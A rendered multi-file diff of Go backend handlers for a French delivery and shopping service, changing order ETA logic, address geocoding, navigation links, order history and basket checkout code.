database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||||
@@ -129,32 +98,19 @@ func GetOrderETA(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Pour pending/assigned: pas encore de position livreur disponible
|
// Pour pending: aucune estimation disponible
|
||||||
if cmdStatus == "pending" || cmdStatus == "assigned" {
|
if cmdStatus == "pending" {
|
||||||
log.Printf("⏳ [ETA] Commande %s - pas d'ETA disponible", cmdStatus)
|
log.Printf("⏳ [ETA] Commande en attente d'assignation - pas d'ETA")
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"command_id": commandID,
|
"command_id": commandID,
|
||||||
"status": cmdStatus,
|
"status": cmdStatus,
|
||||||
"eta_available": false,
|
"eta_available": false,
|
||||||
"message": "En attente de démarrage de la livraison",
|
"message": "En attente d'assignation d'un livreur",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// Pour assigned/en_route/arrived: calcul ETA réel via position du livreur
|
||||||
// Pour arrived: livreur sur place, ETA non pertinent
|
|
||||||
if cmdStatus == "arrived" {
|
|
||||||
log.Printf("ℹ️ [ETA] Commande arrived - livreur déjà sur place")
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"command_id": commandID,
|
|
||||||
"status": cmdStatus,
|
|
||||||
"eta_available": false,
|
|
||||||
"message": "Le livreur est arrivé à destination",
|
|
||||||
})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
// Pour en_route: calcul ETA réel via position du livreur
|
|
||||||
|
|
||||||
// 6️⃣ VÉRIFIER LE CACHE REDIS POUR ETA
|
// 6️⃣ VÉRIFIER LE CACHE REDIS POUR ETA
|
||||||
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
||||||
@@ -227,8 +183,11 @@ func GetOrderETA(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if destLat == 0 || destLon == 0 {
|
if destLat == 0 || destLon == 0 {
|
||||||
log.Printf("⚠️ [ETA] Coordonnées destination manquantes - retour cache périmé ou message")
|
log.Printf("❌ [ETA] Coordonnées destination manquantes")
|
||||||
c.JSON(http.StatusOK, returnStaleOrUnavailable(commandID, cmdStatus, etaData))
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"error": "Coordonnées de destination manquantes",
|
||||||
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -236,33 +195,25 @@ func GetOrderETA(c *gin.Context) {
|
|||||||
livreurAssign, _ := command["livreur_assign"].(string)
|
livreurAssign, _ := command["livreur_assign"].(string)
|
||||||
if livreurAssign == "" {
|
if livreurAssign == "" {
|
||||||
log.Printf("⚠️ [ETA] Aucun livreur assigné")
|
log.Printf("⚠️ [ETA] Aucun livreur assigné")
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusBadRequest, gin.H{
|
||||||
"success": true,
|
"success": false,
|
||||||
"command_id": commandID,
|
"error": "Aucun livreur assigné à cette commande",
|
||||||
"status": cmdStatus,
|
})
|
||||||
"eta_available": false,
|
return
|
||||||
"message": "Aucune heure disponible",
|
}
|
||||||
|
|
||||||
|
livreurLocation, err := geoService.GetDeliveryPersonLocation(livreurAssign)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ [ETA] Position livreur introuvable: %s", livreurAssign)
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
|
"success": false,
|
||||||
|
"error": "Position du livreur non disponible",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
toCoords := services.Coordinates{Latitude: destLat, Longitude: destLon}
|
toCoords := services.Coordinates{Latitude: destLat, Longitude: destLon}
|
||||||
|
|
||||||
// Cas 1 : GPS livreur disponible
|
|
||||||
livreurLocation, gpsErr := geoService.GetDeliveryPersonLocation(livreurAssign)
|
|
||||||
if gpsErr != nil {
|
|
||||||
// Cas 2 : GPS absent → dernière adresse de livraison
|
|
||||||
lastLat, lastLon, lastErr := database.GetLastDeliveryCoords(livreurAssign)
|
|
||||||
if lastErr != nil || lastLat == 0 {
|
|
||||||
// Cas 3 : Aucune position → cache périmé ou message
|
|
||||||
log.Printf("⚠️ [ETA] Aucune position disponible pour %s", livreurAssign)
|
|
||||||
c.JSON(http.StatusOK, returnStaleOrUnavailable(commandID, cmdStatus, etaData))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
livreurLocation = &services.Coordinates{Latitude: lastLat, Longitude: lastLon}
|
|
||||||
log.Printf("📍 [ETA] Position depuis dernière livraison: (%.6f, %.6f)", lastLat, lastLon)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Calculer ETA avec TomTom
|
// Calculer ETA avec TomTom
|
||||||
log.Printf("🛣️ [ETA] Calcul TomTom: (%.6f, %.6f) -> (%.6f, %.6f)",
|
log.Printf("🛣️ [ETA] Calcul TomTom: (%.6f, %.6f) -> (%.6f, %.6f)",
|
||||||
livreurLocation.Latitude, livreurLocation.Longitude, toCoords.Latitude, toCoords.Longitude)
|
livreurLocation.Latitude, livreurLocation.Longitude, toCoords.Latitude, toCoords.Longitude)
|
||||||
|
|||||||
@@ -1,3 +1,7 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/geo_handlers.go - VERSION CORRIGÉE COMPLÈTE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -13,6 +17,10 @@ import (
|
|||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// GÉOCODAGE D'ADRESSES
|
||||||
|
// ============================================
|
||||||
|
|
||||||
func GeocodeAddress(c *gin.Context) {
|
func GeocodeAddress(c *gin.Context) {
|
||||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||||
|
|
||||||
@@ -26,40 +34,19 @@ func GeocodeAddress(c *gin.Context) {
|
|||||||
|
|
||||||
location, err := geoService.GeocodeAddress(req.Address)
|
location, err := geoService.GeocodeAddress(req.Address)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
// Tentative de correction — resolveAddress ne touche pas à c.JSON
|
c.JSON(http.StatusNotFound, gin.H{"error": "Impossible de géocoder cette adresse"})
|
||||||
suggestion, err := resolveAddress(geoService, req.Address)
|
|
||||||
if err != nil {
|
|
||||||
c.JSON(http.StatusNotFound, gin.H{"error": "Adresse introuvable, vérifiez l'orthographe"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
log.Printf("✅ Adresse corrigée: '%s' → '%s' (confiance %.0f%%)",
|
|
||||||
req.Address, suggestion.CorrectedAddress, suggestion.Confidence*100)
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"latitude": suggestion.Coordinates.Latitude,
|
|
||||||
"longitude": suggestion.Coordinates.Longitude,
|
|
||||||
"display_name": suggestion.CorrectedAddress,
|
|
||||||
"correction_applied": suggestion.CorrectionApplied,
|
|
||||||
"confidence": suggestion.Confidence,
|
|
||||||
})
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", req.Address, location.Latitude, location.Longitude)
|
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", req.Address, location.Latitude, location.Longitude)
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"latitude": location.Latitude,
|
"latitude": location.Latitude,
|
||||||
"longitude": location.Longitude,
|
"longitude": location.Longitude,
|
||||||
"display_name": location.DisplayName,
|
"display_name": location.DisplayName,
|
||||||
"correction_applied": false,
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// resolveAddress : logique pure, sans toucher à gin.Context
|
|
||||||
func resolveAddress(geoService *services.GeoService, address string) (*services.AddressSuggestion, error) {
|
|
||||||
return geoService.CorrectionService().ResolveAddress(address)
|
|
||||||
}
|
|
||||||
|
|
||||||
// FindNearestDeliveryPerson trouve le livreur le plus proche d'une adresse
|
// FindNearestDeliveryPerson trouve le livreur le plus proche d'une adresse
|
||||||
func FindNearestDeliveryPerson(c *gin.Context) {
|
func FindNearestDeliveryPerson(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
@@ -318,6 +305,9 @@ func AutoAssignNearestDeliveryPerson(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", address, location.Latitude, location.Longitude)
|
log.Printf("📍 Adresse géocodée: %s -> (%.6f, %.6f)", address, location.Latitude, location.Longitude)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 🔹 SAUVEGARDER LES COORDONNÉES DANS LE CACHE REDIS
|
||||||
|
// ============================================
|
||||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||||
"lat": location.Latitude,
|
"lat": location.Latitude,
|
||||||
@@ -547,6 +537,10 @@ func AutoAssignNearestDeliveryPerson(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// ASSIGNATION EN MASSE (TOUTES LES COMMANDES PENDING)
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// AutoAssignAllPendingCommands assigne toutes les commandes en attente
|
// AutoAssignAllPendingCommands assigne toutes les commandes en attente
|
||||||
// POST /api/v2/admin/protected/commands/auto-assign-all
|
// POST /api/v2/admin/protected/commands/auto-assign-all
|
||||||
func AutoAssignAllPendingCommands(c *gin.Context) {
|
func AutoAssignAllPendingCommands(c *gin.Context) {
|
||||||
@@ -704,6 +698,10 @@ func AutoAssignAllPendingCommands(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// RÉCUPÉRER L'ÉTAT DES QUEUES DES LIVREURS
|
||||||
|
// ============================================
|
||||||
|
|
||||||
// GetAllDeliveryQueues retourne l'état de toutes les queues des livreurs
|
// GetAllDeliveryQueues retourne l'état de toutes les queues des livreurs
|
||||||
// GET /api/v2/admin/protected/delivery/queues
|
// GET /api/v2/admin/protected/delivery/queues
|
||||||
func GetAllDeliveryQueues(c *gin.Context) {
|
func GetAllDeliveryQueues(c *gin.Context) {
|
||||||
@@ -753,6 +751,12 @@ func GetAllDeliveryQueues(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// RÉCUPÉRER LA QUEUE D'UN LIVREUR SPÉCIFIQUE
|
||||||
|
// ============================================
|
||||||
|
|
||||||
|
// GetDeliverymanQueue retourne la queue d'un livreur spécifique
|
||||||
|
// GET /api/v2/admin/protected/delivery/:username/queue
|
||||||
func GetDeliverymanQueue(c *gin.Context) {
|
func GetDeliverymanQueue(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
|||||||
@@ -13,13 +13,16 @@ import (
|
|||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// GetDeliveryPersonMapLinks génère les liens de cartes pour visualiser la position d'un livreur
|
||||||
// GET /api/v2/admin/protected/delivery-persons/:username/map-links
|
// GET /api/v2/admin/protected/delivery-persons/:username/map-links
|
||||||
func GetDeliveryPersonMapLinks(c *gin.Context) {
|
func GetDeliveryPersonMapLinks(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
// Vérification du rôle admin
|
||||||
userRole := c.GetString("role")
|
userRole := c.GetString("role")
|
||||||
if userRole != "admin" && userRole != "cabine" {
|
if userRole != "admin" && userRole != "cabine" {
|
||||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||||
@@ -76,6 +79,56 @@ func GetDeliveryPersonMapLinks(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetCommandNavigationLinks génère les liens de navigation pour une commande
|
||||||
|
// GET /api/v2/admin/protected/commands/:id/navigation-links
|
||||||
|
func GetCommandNavigationLinks(c *gin.Context) {
|
||||||
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
userRole := c.GetString("role")
|
||||||
|
if userRole != "admin" {
|
||||||
|
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
commandID, err := strconv.Atoi(c.Param("id"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Récupérer la commande
|
||||||
|
command, err := database.GetCommandByID(commandID)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Vérifier qu'un livreur est assigné
|
||||||
|
livreurAssign, ok := command["livreur_assign"].(string)
|
||||||
|
if !ok || livreurAssign == "" {
|
||||||
|
c.JSON(http.StatusNotFound, gin.H{
|
||||||
|
"error": "Aucun livreur assigné à cette commande",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Générer les liens de navigation
|
||||||
|
links, err := database.GenerateMapLinksForCommand(commandID, livreurAssign)
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
|
"error": "Erreur génération des liens",
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{
|
||||||
|
"success": true,
|
||||||
|
"command_id": commandID,
|
||||||
|
"deliveryman": livreurAssign,
|
||||||
|
"navigation_links": links,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// GetLivreurNavLink retourne le lien Waze App pour une livraison assignée au livreur connecté
|
// GetLivreurNavLink retourne le lien Waze App pour une livraison assignée au livreur connecté
|
||||||
// GET /api/v1/livreur/deliveries/:id/nav-link
|
// GET /api/v1/livreur/deliveries/:id/nav-link
|
||||||
func GetLivreurNavLink(c *gin.Context) {
|
func GetLivreurNavLink(c *gin.Context) {
|
||||||
|
|||||||
@@ -1,3 +1,8 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/history_handlers.go
|
||||||
|
// ============================================
|
||||||
|
// Gestion de l'historique des commandes terminées
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -7,9 +12,14 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// GetMyCompletedOrders récupère l'historique des commandes terminées du client
|
||||||
|
// GET /api/v1/my-commands/history
|
||||||
|
// ✅ Authentification requise (ClientMiddleware)
|
||||||
|
// ✅ Retourne uniquement les commandes avec status = "approved"
|
||||||
func GetMyCompletedOrders(c *gin.Context) {
|
func GetMyCompletedOrders(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -31,7 +41,7 @@ func GetMyCompletedOrders(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [HISTORY] Erreur: %v", err)
|
log.Printf("❌ [HISTORY] Erreur: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur lors de la récupération de l'historique",
|
"error": "Erreur lors de la récupération de l'historique",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -86,6 +96,8 @@ func GetMyCompletedOrders(c *gin.Context) {
|
|||||||
|
|
||||||
// GetMyCompletedOrdersWithItems récupère l'historique avec les détails des items
|
// GetMyCompletedOrdersWithItems récupère l'historique avec les détails des items
|
||||||
// GET /api/v1/my-commands/history/detailed
|
// GET /api/v1/my-commands/history/detailed
|
||||||
|
// ✅ Authentification requise (ClientMiddleware)
|
||||||
|
// ✅ Retourne les commandes approved avec tous les items
|
||||||
func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -107,13 +119,13 @@ func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("❌ [HISTORY_DETAILED] Erreur: %v", err)
|
log.Printf("❌ [HISTORY_DETAILED] Erreur: %v", err)
|
||||||
c.JSON(http.StatusInternalServerError, gin.H{
|
c.JSON(http.StatusInternalServerError, gin.H{
|
||||||
"error": "Erreur lors de la récupération de l'historique",
|
"error": "Erreur lors de la récupération de l'historique",
|
||||||
})
|
})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// ✅ Enrichir chaque commande avec ses items
|
// ✅ Enrichir chaque commande avec ses items
|
||||||
var enrichedCommands []map[string]any
|
var enrichedCommands []map[string]interface{}
|
||||||
|
|
||||||
for _, command := range commands {
|
for _, command := range commands {
|
||||||
commandID, _ := strconv.Atoi(fmt.Sprintf("%v", command["id"]))
|
commandID, _ := strconv.Atoi(fmt.Sprintf("%v", command["id"]))
|
||||||
@@ -125,11 +137,11 @@ func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
|||||||
items, err := database.GetCommandItems(commandID)
|
items, err := database.GetCommandItems(commandID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("⚠️ [HISTORY_DETAILED] Erreur items pour cmd %d: %v", commandID, err)
|
log.Printf("⚠️ [HISTORY_DETAILED] Erreur items pour cmd %d: %v", commandID, err)
|
||||||
items = []map[string]any{}
|
items = []map[string]interface{}{}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ajouter les items à la commande
|
// Ajouter les items à la commande
|
||||||
enrichedCommand := make(map[string]any)
|
enrichedCommand := make(map[string]interface{})
|
||||||
for k, v := range command {
|
for k, v := range command {
|
||||||
enrichedCommand[k] = v
|
enrichedCommand[k] = v
|
||||||
}
|
}
|
||||||
@@ -165,6 +177,10 @@ func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, response)
|
c.JSON(http.StatusOK, response)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetOrderHistory récupère l'historique d'une commande spécifique avec logs
|
||||||
|
// GET /api/v1/commands/:id/history
|
||||||
|
// ✅ Authentification requise
|
||||||
|
// ✅ Vérifie que la commande appartient au client
|
||||||
func GetOrderHistory(c *gin.Context) {
|
func GetOrderHistory(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,7 @@
|
|||||||
|
// ============================================
|
||||||
|
// handlers/basket_handlers_CORRIGES.go
|
||||||
|
// ============================================
|
||||||
|
|
||||||
package handlers
|
package handlers
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -8,8 +12,6 @@ import (
|
|||||||
"gestion/utils"
|
"gestion/utils"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/gin-gonic/gin"
|
"github.com/gin-gonic/gin"
|
||||||
)
|
)
|
||||||
@@ -46,38 +48,41 @@ func AddProductsBasket(c *gin.Context) {
|
|||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Quantité invalide"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Quantité invalide"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if req.ProductID <= 0 {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "product_id requis"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
if p, err := database.GetProductByID(req.ProductID); err == nil && p.ComingSoon {
|
// Si product_id fourni par le mobile, on l'utilise directement (plus fiable)
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Ce produit n'est pas encore disponible"})
|
if req.ProductID > 0 || req.NameProduct == "" || req.Category == "" {
|
||||||
return
|
stock, err := database.GetProductStockByID(req.ProductID)
|
||||||
}
|
if err != nil {
|
||||||
|
log.Printf("❌ [ADD_PANIER] Produit %d non trouvé: %v", req.ProductID, err)
|
||||||
panier, err := database.AddToBasket(req.Username, req.ProductID, req.Quantity)
|
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
||||||
if err != nil {
|
|
||||||
log.Printf("❌ [ADD_PANIER] product_id=%d qty=%.3f: %v", req.ProductID, req.Quantity, err)
|
|
||||||
if err.Error() == "stock insuffisant" {
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Stock insuffisant"})
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if strings.Contains(err.Error(), "prix introuvable") {
|
if stock < req.Quantity {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Aucun prix configuré pour ce produit"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "Stock insuffisant", "available": stock})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
utils.ServerErr(c, "Impossible d'ajouter le produit au panier", err)
|
if err := database.DecrementProductStockByID(req.ProductID, req.Quantity); err != nil {
|
||||||
|
log.Printf("❌ [ADD_PANIER] Erreur décrement stock product_id=%d: %v", req.ProductID, err)
|
||||||
|
utils.ServerErr(c, "Impossible d'ajouter le produit au panier", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
panier, err := database.AddProductInBasketByID(req.Username, req.ProductID, req.Quantity)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ [ADD_PANIER] Erreur ajout product_id=%d qty=%.3f: %v", req.ProductID, req.Quantity, err)
|
||||||
|
utils.ServerErr(c, "Impossible d'ajouter le produit au panier", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{"success": true, "message": "Produit ajouté au panier avec succès", "panier": panier})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
c.JSON(http.StatusOK, gin.H{
|
|
||||||
"success": true,
|
|
||||||
"message": "Produit ajouté au panier avec succès",
|
|
||||||
"panier": panier,
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// ============================================
|
||||||
|
// GET /api/v1/panier/:username
|
||||||
|
// Récupère le panier du client authentifié
|
||||||
func GetAllBaskets(c *gin.Context) {
|
func GetAllBaskets(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
username := c.Param("username")
|
username := c.Param("username")
|
||||||
@@ -144,6 +149,11 @@ func GetAllBaskets(c *gin.Context) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// ✅ SÉCURISÉ: DeleteProductFromBasket
|
||||||
|
// ============================================
|
||||||
|
// DELETE /api/v1/panier/remove
|
||||||
|
// Supprime un produit du panier
|
||||||
func DeleteProductFromBasket(c *gin.Context) {
|
func DeleteProductFromBasket(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -196,12 +206,18 @@ func DeleteProductFromBasket(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("✅ [DEL_PANIER] Article %d supprimé", req.ID)
|
log.Printf("✅ [DEL_PANIER] Article %d supprimé", req.ID)
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"message": "Produit supprimé du panier avec succès",
|
"message": "Produit supprimé du panier avec succès",
|
||||||
"item_id": req.ID,
|
"item_id": req.ID,
|
||||||
|
"stock_released": true,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// ✅ SÉCURISÉ: ClearBasket
|
||||||
|
// ============================================
|
||||||
|
// DELETE /api/v1/panier/clear
|
||||||
|
// Vide le panier du client
|
||||||
func ClearBasket(c *gin.Context) {
|
func ClearBasket(c *gin.Context) {
|
||||||
database := c.MustGet("database").(*db.Database)
|
database := c.MustGet("database").(*db.Database)
|
||||||
|
|
||||||
@@ -234,8 +250,9 @@ func ClearBasket(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("✅ [CLEAR_PANIER] Panier %s vidé: %d articles supprimés", authUsernameStr, len(baskets))
|
log.Printf("✅ [CLEAR_PANIER] Panier %s vidé: %d articles supprimés", authUsernameStr, len(baskets))
|
||||||
c.JSON(http.StatusOK, gin.H{
|
c.JSON(http.StatusOK, gin.H{
|
||||||
"success": true,
|
"success": true,
|
||||||
"message": "Panier vidé avec succès",
|
"message": "Panier vidé avec succès",
|
||||||
|
"stock_released": len(baskets),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -251,14 +268,6 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
usernameStr := username.(string)
|
usernameStr := username.(string)
|
||||||
|
|
||||||
lockKey := fmt.Sprintf("checkout_lock:%s", usernameStr)
|
|
||||||
locked, errLock := db.Redis.SetNX(db.RedisCtx, lockKey, "1", 30*time.Second).Result()
|
|
||||||
if errLock != nil || !locked {
|
|
||||||
c.JSON(http.StatusConflict, gin.H{"error": "Un checkout est déjà en cours pour ce compte"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer db.Redis.Del(db.RedisCtx, lockKey)
|
|
||||||
|
|
||||||
var req struct {
|
var req struct {
|
||||||
DeliveryAddress string `json:"delivery_address" binding:"required"`
|
DeliveryAddress string `json:"delivery_address" binding:"required"`
|
||||||
UseReferralBalance bool `json:"use_referral_balance"`
|
UseReferralBalance bool `json:"use_referral_balance"`
|
||||||
@@ -305,7 +314,7 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
log.Printf("🛒 [CHECKOUT] Panier: %d articles", len(items))
|
log.Printf("🛒 [CHECKOUT] Panier: %d articles", len(items))
|
||||||
|
|
||||||
// ============================================
|
// ============================================
|
||||||
// 1️⃣b Calculer le total et vérifier la présence d'au moins un article payant
|
// 1️⃣b Vérifier le minimum de commande selon la zone
|
||||||
// ============================================
|
// ============================================
|
||||||
var cartTotal float64
|
var cartTotal float64
|
||||||
for _, item := range items {
|
for _, item := range items {
|
||||||
@@ -314,21 +323,6 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Détecter si le panier contient un article récompense (prix 0)
|
|
||||||
hasRewardItem := false
|
|
||||||
for _, item := range items {
|
|
||||||
if price, ok := item["price"].(float64); ok && price == 0 {
|
|
||||||
hasRewardItem = true
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// Si récompense présente mais aucun produit payant → refuser
|
|
||||||
if hasRewardItem && cartTotal <= 0 {
|
|
||||||
log.Printf("❌ [CHECKOUT] Panier contient uniquement des récompenses pour %s", usernameStr)
|
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Vous devez commander au moins un produit de la boutique pour bénéficier de votre récompense"})
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Récupérer les paramètres globaux (zones + parrainage)
|
// Récupérer les paramètres globaux (zones + parrainage)
|
||||||
appSettings, _ := database.GetSettings()
|
appSettings, _ := database.GetSettings()
|
||||||
|
|
||||||
@@ -390,6 +384,9 @@ func ValidateBasket(c *gin.Context) {
|
|||||||
|
|
||||||
log.Printf("✅ [CHECKOUT] Zone OK: %s, total=%.2f€ >= %.2f€, crédit parrainage utilisé: %.2f€", zoneResult.ZoneName, cartTotal, zoneResult.MinAmount, referralUsed)
|
log.Printf("✅ [CHECKOUT] Zone OK: %s, total=%.2f€ >= %.2f€, crédit parrainage utilisé: %.2f€", zoneResult.ZoneName, cartTotal, zoneResult.MinAmount, referralUsed)
|
||||||
|
|
||||||
|
// ============================================
|
||||||
|
// 2️⃣ Débiter le parrainage AVANT la commande (évite double-spend)
|
||||||
|
// ============================================
|
||||||
if referralUsed > 0 {
|
if referralUsed > 0 {
|
||||||
if err := database.DebitReferralBalance(usernameStr, referralUsed); err != nil {
|
